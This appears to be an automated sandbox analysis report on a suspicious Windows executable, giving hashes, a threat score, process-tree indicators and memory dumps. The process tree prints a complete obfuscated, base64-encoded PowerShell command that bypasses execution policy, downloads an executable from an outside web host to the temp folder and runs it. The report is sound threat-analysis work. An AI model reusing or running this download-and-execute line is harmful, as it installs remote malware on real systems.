b0b9e3dc8734f410aa2312b54b09cd299d427f0b04b5c57c5cccc0b58fe966fa

Analysis

Target

6115b75d6dea7d18c4c335daee062579.exe
Size

847KB
MD5

6115b75d6dea7d18c4c335daee062579
SHA1

edd36175f46101077bd6946a2324e10c4c3f73aa
SHA256

b0b9e3dc8734f410aa2312b54b09cd299d427f0b04b5c57c5cccc0b58fe966fa
SHA512

85ff43706d9e45c376bc72bb4040b5ad0e3480f479074758502e217e82f46021eddafbd9eef08a1b5d0ecb8e64bdcb15043643f858a8bf7eb2ee95da6369aaaf

Score

3^/10

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 4056	1516	6115b75d6dea7d18c4c335daee062579.exe	66
PID 1516 wrote to memory of 4056	1516	6115b75d6dea7d18c4c335daee062579.exe	66
PID 1516 wrote to memory of 4056	1516	6115b75d6dea7d18c4c335daee062579.exe	66

Program crash 1 IoCs

pid	pid_target	Process	procid_target
500	4056	WerFault.exe	66

Suspicious use of AdjustPrivilegeToken 3 IoCs

Suspicious behavior: EnumeratesProcesses 13 IoCs

C:\Users\Admin\AppData\Local\Temp\6115b75d6dea7d18c4c335daee062579.exe
"C:\Users\Admin\AppData\Local\Temp\6115b75d6dea7d18c4c335daee062579.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAHYAaQBjAHQAbwByAGMAYQBsAHYAbwBhAHIAcQB1AGkAdABlAGMAdABvAC4AZQBzAC8AMQAvAGIAaQBuAGEALgBlAHgAZQAdICAALAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABNAGQAUABTAHYAZwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABNAGQAUABTAHYAZwAuAGUAeABlAB0g
  2⤵
  PID:4056
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4056 -s 704
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    PID:500

memory/500-1-0x0000000004150000-0x0000000004151000-memory.dmp

Filesize
4KB

Download
memory/500-8-0x0000000004780000-0x0000000004781000-memory.dmp

Filesize
4KB

Download